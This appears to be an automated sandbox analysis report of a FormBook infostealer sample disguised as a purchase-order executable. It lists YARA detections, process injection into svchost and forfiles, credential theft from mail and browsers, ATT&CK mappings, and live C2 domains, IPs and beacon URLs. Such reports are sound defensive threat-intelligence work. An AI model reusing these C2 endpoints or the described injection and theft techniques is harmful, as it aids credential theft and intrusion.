            Source: C:\Windows\SysWOW64\forfiles.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
            Source: PO#001498.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 6, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonestrwstrintbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoubleptrhwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
            Source: PO#001498.exeBinary or memory string: WIN_XP
            Source: PO#001498.exeBinary or memory string: WIN_XPe
            Source: PO#001498.exeBinary or memory string: WIN_VISTA
            Source: PO#001498.exeBinary or memory string: WIN_7

            Remote Access Functionality

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 8.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 8.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000C.00000002.3133057378.0000000004970000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.1776540328.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000C.00000002.3132858119.0000000004920000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.1776852488.0000000003590000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.3133096714.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000B.00000002.3132094860.00000000044C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000C.00000002.3120123793.0000000002CB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.1777534454.0000000005050000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004741BB socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_004741BB
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0046483C socket,WSAGetLastError,bind,WSAGetLastError,listen,WSAGetLastError,closesocket,0_2_0046483C
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0047AD92 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,0_2_0047AD92

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire Infrastructure2
            Valid Accounts            		1
            Native API            		1
            DLL Side-Loading            		1
            Exploitation for Privilege Escalation            		1
            Disable or Modify Tools            		1
            OS Credential Dumping            		2
            System Time Discovery            		Remote Services1
            Archive Collected Data            		4
            Ingress Tool Transfer            		Exfiltration Over Other Network Medium1
            System Shutdown/Reboot
            CredentialsDomainsDefault AccountsScheduled Task/Job2
            Valid Accounts            		1
            Abuse Elevation Control Mechanism            		1
            Deobfuscate/Decode Files or Information            		21
            Input Capture            		1
            Account Discovery            		Remote Desktop Protocol1
            Data from Local System            		1
            Encrypted Channel            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
            DLL Side-Loading            		1
            Abuse Elevation Control Mechanism            		Security Account Manager2
            File and Directory Discovery            		SMB/Windows Admin Shares1
            Email Collection            		4
            Non-Application Layer Protocol            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
            Valid Accounts            		3
            Obfuscated Files or Information            		NTDS116
            System Information Discovery            		Distributed Component Object Model21
            Input Capture            		4
            Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
            Access Token Manipulation            		1
            DLL Side-Loading            		LSA Secrets241
            Security Software Discovery            		SSH3
            Clipboard Data            		Fallback ChannelsScheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts412
            Process Injection            		2
            Valid Accounts            		Cached Domain Credentials2
            Virtualization/Sandbox Evasion            		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
            Virtualization/Sandbox Evasion            		DCSync3
            Process Discovery            		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
            Access Token Manipulation            		Proc Filesystem11
            Application Window Discovery            		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
            Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt412
            Process Injection            		/etc/passwd and /etc/shadow1
            System Owner/User Discovery            		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1524045 Sample: PO#001498.exe Startdate: 02/10/2024 Architecture: WINDOWS Score: 100 28 www.paysom.xyz 2->28 30 www.spectre.center 2->30 32 11 other IPs or domains 2->32 42 Suricata IDS alerts for network traffic 2->42 44 Malicious sample detected (through community Yara rule) 2->44 46 Multi AV Scanner detection for submitted file 2->46 50 4 other signatures 2->50 10 PO#001498.exe 1 2->10         started        signatures3 48 Performs DNS queries to domains with low reputation 28->48 process4 signatures5 62 Writes to foreign memory regions 10->62 64 Maps a DLL or memory area into another process 10->64 66 Switches to a custom stack to bypass stack traces 10->66 68 Contains functionality to detect sleep reduction / modifications 10->68 13 svchost.exe 10->13         started        process6 signatures7 70 Maps a DLL or memory area into another process 13->70 16 AnbtBVreItY.exe 13->16 injected process8 signatures9 40 Found direct / indirect Syscall (likely to bypass EDR) 16->40 19 forfiles.exe 13 16->19         started        process10 signatures11 52 Tries to steal Mail credentials (via file / registry access) 19->52 54 Tries to harvest and steal browser information (history, passwords, etc) 19->54 56 Modifies the context of a thread in another process (thread injection) 19->56 58 3 other signatures 19->58 22 AnbtBVreItY.exe 19->22 injected 26 firefox.exe 19->26         started        process12 dnsIp13 34 www.elektromontaze.online 37.9.175.163, 49711, 49712, 49713 WEBSUPPORT-SRO-SK-ASSK Slovakia (SLOVAK Republic) 22->34 36 www.paysom.xyz 203.161.41.205, 49723, 49724, 49725 VNPT-AS-VNVNPTCorpVN Malaysia 22->36 38 7 other IPs or domains 22->38 60 Found direct / indirect Syscall (likely to bypass EDR) 22->60 signatures14

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            PO#001498.exe50%ReversingLabsWin32.Trojan.Autoitinject
            PO#001498.exe100%Joe Sandbox ML

            Dropped Files

            ⊘No Antivirus matches

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            SourceDetectionScannerLabelLink
            https://duckduckgo.com/chrome_newtab0%URL Reputationsafe
            https://duckduckgo.com/ac/?q=0%URL Reputationsafe
            https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=0%URL Reputationsafe
            https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search0%URL Reputationsafe
            https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=0%URL Reputationsafe
            https://www.ecosia.org/newtab/0%URL Reputationsafe
            https://ac.ecosia.org/autocomplete?q=0%URL Reputationsafe
            http://ogp.me/ns#0%URL Reputationsafe
            https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=0%URL Reputationsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            www.elektromontaze.online
            		37.9.175.163
            		truetrue
              		unknown
              monitoraseg.online
              		162.240.81.18
              		truetrue
                		unknown
                ankittrading.store
                		84.32.84.32
                		truetrue
                  		unknown
                  www.mcse.top
                  		154.9.228.56
                  		truetrue
                    		unknown
                    www.spectre.center
                    		5.39.10.93
                    		truetrue
                      		unknown
                      www.notepad.mobi
                      		199.59.243.227
                      		truetrue
                        		unknown
                        rtpsilva4d.click
                        		67.223.117.169
                        		truetrue
                          		unknown
                          www.paysom.xyz
                          		203.161.41.205
                          		truetrue
                            		unknown
                            bearableguy.net
                            		3.33.130.190
                            		truetrue
                              		unknown
                              www.ankittrading.store
                              		unknown
                              		unknowntrue
                                		unknown
                                www.monitoraseg.online
                                		unknown
                                		unknowntrue
                                  		unknown
                                  www.bearableguy.net
                                  		unknown
                                  		unknowntrue
                                    		unknown
                                    www.rtpsilva4d.click
                                    		unknown
                                    		unknowntrue
                                      		unknown

                                      Contacted URLs

                                      NameMaliciousAntivirus DetectionReputation
                                      http://www.monitoraseg.online/l90v/?PDnL0H4=tj7s0oyrGc1LrDSGnf8YHtw+ebsKDrOBu6GSmYGqVaA9KTCtf5t4TDr3lhx61sWDy3u5CDLnPKwXwDtlkJUkQXT0jCihCdlrSRGn+EUQa4fXC4BrJZGRQFbKceI3GDyLA2ga/kBrekJs&cJ=eZx4Ptrue
                                        		unknown
                                        http://www.paysom.xyz/guro/true
                                          		unknown
                                          http://www.rtpsilva4d.click/zctj/true
                                            		unknown
                                            http://www.mcse.top/kyiu/true
                                              		unknown
                                              http://www.monitoraseg.online/l90v/true
                                                		unknown
                                                http://www.elektromontaze.online/t3gh/true
                                                  		unknown
                                                  http://www.bearableguy.net/swj2/?PDnL0H4=P0crsamxtuU6gq442A5JVDLtFaQ272SuKPgrEa6KpDZhy5jCC+7AJhWiOHv/kCv6EaT0CLlKbyEmlyMFHr9gqySJu+UUyj4X55F7OWVcwUUW7TkNkiV3TddgPHJr/SBxtLqf2BhyIm+8&cJ=eZx4Ptrue
                                                    		unknown
                                                    http://www.paysom.xyz/guro/?PDnL0H4=7+kD9FiWdLQbO7Xh4mp3Tzq63KAmHikwKr+gs46wKWEdWXZTCgAq3DZWNFT071I6kRcf0adkrwgUpAlbIxvs7ctY0Q4kDRV1VLfOJzsmQYQkjGZNIcuY5VcZwoAGjmNzsmH6ta/2x1bG&cJ=eZx4Ptrue
                                                      		unknown
                                                      http://www.elektromontaze.online/t3gh/?PDnL0H4=zEDKAPo0fWIr7gepujFM3hONZ8pGlKAcECMHT5GhOUjPLGGHYOnRhJ5losn3B+cwv2wWXqsOX+tmwA3DpzxQYWcvF9OI/7vzh1sU1BgJQgDKmJ3P14tuMLY//UhfsPslfp/YvJbN0ZLZ&cJ=eZx4Ptrue
                                                        		unknown
                                                        http://www.rtpsilva4d.click/zctj/?PDnL0H4=7S4o5+ZCgT4OODwfFpG+s4wiCFAnOZCzfRxqRVdrbobbRD+6SGggBBocUcamamM0rj3t2K/sItShBC5e9jOvPMFc8Ts9kNN+wHKhjSFFlD0pLjr7njpBm/yeBJ+c4s7d7sPpMprzB4Pv&cJ=eZx4Ptrue
                                                          		unknown
                                                          http://www.bearableguy.net/swj2/true
                                                            		unknown
                                                            http://www.spectre.center/mfnh/?cJ=eZx4P&PDnL0H4=uiQSy69x68ywNzcc2xGZGS3b7G9Di2AmSZy7E0+wXNrf1UQY7cg94CWp6P5m0cawB8S+TLOh4cYPJlBKxEA2O4b/zKyvUiD5czmdoxMYCqiElO0H9mCQ9xUwX3LJfG6F/jT3KbKUs5jstrue
                                                              		unknown
                                                              http://www.mcse.top/kyiu/?PDnL0H4=WCaTEpVIV1F/IDd5xet0U/v8EBgR4+MrBcMWAOPreHJieMqZHDOJq6LkbwJNcnm0/KUex7YRpxZmHiJXClvi8IQXQojzYPwJ0us3fopYznmqkr1xoIt7ztcwmZJFiE0pdwe7fNqg6tit&cJ=eZx4Ptrue
                                                                		unknown
                                                                http://www.spectre.center/mfnh/true
                                                                  		unknown
                                                                  http://www.notepad.mobi/l4rw/true
                                                                    		unknown

                                                                    URLs from Memory and Binaries

                                                                    NameSourceMaliciousAntivirus DetectionReputation
                                                                    https://duckduckgo.com/chrome_newtabforfiles.exe, 0000000C.00000003.1964374693.0000000007F9E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    • URL Reputation: safe
                                                                    		unknown
                                                                    http://giganet.ua/ruforfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                      		unknown
                                                                      https://duckduckgo.com/ac/?q=forfiles.exe, 0000000C.00000003.1964374693.0000000007F9E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      • URL Reputation: safe
                                                                      		unknown
                                                                      https://www.imena.ua/domainsAnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                        		unknown
                                                                        https://www.imena.ua/documentsforfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                          		unknown
                                                                          https://img.imena.ua/js/bundle.min.jsforfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                            		unknown
                                                                            http://inau.ua/forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                              		unknown
                                                                              https://www.imena.ua/en/how-searchforfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                		unknown
                                                                                https://www.imena.ua/vpsAnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                  		unknown
                                                                                  https://www.ripe.net/forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                    		unknown
                                                                                    https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=forfiles.exe, 0000000C.00000003.1964374693.0000000007F9E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    • URL Reputation: safe
                                                                                    		unknown
                                                                                    https://www.imena.ua/hostingAnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                      		unknown
                                                                                      https://admin.active24.cz/AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                        		unknown
                                                                                        https://www.google.comforfiles.exe, 0000000C.00000002.3136018758.0000000005726000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003946000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                          		unknown
                                                                                          https://www.imena.ua/AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                            		unknown
                                                                                            http://nginx.net/forfiles.exe, 0000000C.00000002.3136018758.0000000006092000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.00000000042B2000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                              		unknown
                                                                                              http://fedoraproject.org/forfiles.exe, 0000000C.00000002.3136018758.0000000006092000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.00000000042B2000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                		unknown
                                                                                                https://cdn.active24.eu/fonts/OTF/Active24-Bold.woff2forfiles.exe, 0000000C.00000002.3136018758.00000000058B8000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                  		unknown
                                                                                                  https://www.imena.ua/domains/pricesforfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                    		unknown
                                                                                                    https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchforfiles.exe, 0000000C.00000003.1964374693.0000000007F9E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                    • URL Reputation: safe
                                                                                                    		unknown
                                                                                                    https://www.imena.ua/uaAnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                      		unknown
                                                                                                      http://partner.mirohost.netforfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                        		unknown
                                                                                                        https://cdn.active24.eu/fonts/OTF/Active24-Regular.otfforfiles.exe, 0000000C.00000002.3136018758.00000000058B8000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                          		unknown
                                                                                                          https://www.active24.cz/cart/domain-checkerforfiles.exe, 0000000C.00000002.3136018758.00000000058B8000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                            		unknown
                                                                                                            https://cdn.active24.eu/fonts/OTF/Active24-Medium.woff2forfiles.exe, 0000000C.00000002.3136018758.00000000058B8000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                              		unknown
                                                                                                              https://www.imena.ua/domains/premium-domainsforfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                		unknown
                                                                                                                https://admin.active24.cz/enforfiles.exe, 0000000C.00000002.3136018758.00000000058B8000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                  		unknown
                                                                                                                  https://www.imena.ua/blog/AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                    		unknown
                                                                                                                    https://www.imena.ua/datacenterforfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                      		unknown
                                                                                                                      https://www.imena.ua/domains/regtmforfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                        		unknown
                                                                                                                        https://cdn.active24.eu/fonts/OTF/Active24-Bold.otfforfiles.exe, 0000000C.00000002.3136018758.00000000058B8000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                          		unknown
                                                                                                                          https://www.imena.ua/how-searchforfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                            		unknown
                                                                                                                            https://www.imena.ua/jobforfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                              		unknown
                                                                                                                              https://www.google.com/images/branding/product/ico/googleg_lodp.icoforfiles.exe, 0000000C.00000003.1964374693.0000000007F9E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                		unknown
                                                                                                                                https://www.active24.cz/support/AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                  		unknown
                                                                                                                                  https://www.imena.ua/contactAnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                    		unknown
                                                                                                                                    https://www.imena.ua/enAnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                      		unknown
                                                                                                                                      http://www.ix.net.ua/ruforfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                        		unknown
                                                                                                                                        https://cdn.active24.eu/fonts/OTF/Active24-Regular.woff2forfiles.exe, 0000000C.00000002.3136018758.00000000058B8000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                          		unknown
                                                                                                                                          https://img.imena.ua/css/media-set.cssforfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                            		unknown
                                                                                                                                            https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=forfiles.exe, 0000000C.00000003.1964374693.0000000007F9E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            		unknown
                                                                                                                                            https://mail.mirohost.netforfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                              		unknown
                                                                                                                                              https://www.imena.ua/helpAnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                		unknown
                                                                                                                                                https://www.ecosia.org/newtab/forfiles.exe, 0000000C.00000003.1964374693.0000000007F9E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                		unknown
                                                                                                                                                http://www.spectre.centerAnbtBVreItY.exe, 0000000E.00000002.3133096714.0000000002EFA000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                                                                                                  		unknown
                                                                                                                                                  https://control.imena.ua/login.php?lang=2forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                    		unknown
                                                                                                                                                    https://ac.ecosia.org/autocomplete?q=forfiles.exe, 0000000C.00000003.1964374693.0000000007F9E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                    • URL Reputation: safe
                                                                                                                                                    		unknown
                                                                                                                                                    https://cdn.active24.eu/fonts/OTF/Active24-Medium.otfforfiles.exe, 0000000C.00000002.3136018758.00000000058B8000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                      		unknown
                                                                                                                                                      https://control.mirohost.net/auth/login.php?lang=ruforfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                        		unknown
                                                                                                                                                        https://www.imena.ua/ruAnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                          		unknown
                                                                                                                                                          https://www.imena.ua/whois.php?domain=spectre.centerAnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                            		unknown
                                                                                                                                                            https://www.imena.ua/check-domainforfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                              		unknown
                                                                                                                                                              https://www.imena.ua/paymentsAnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                                		unknown
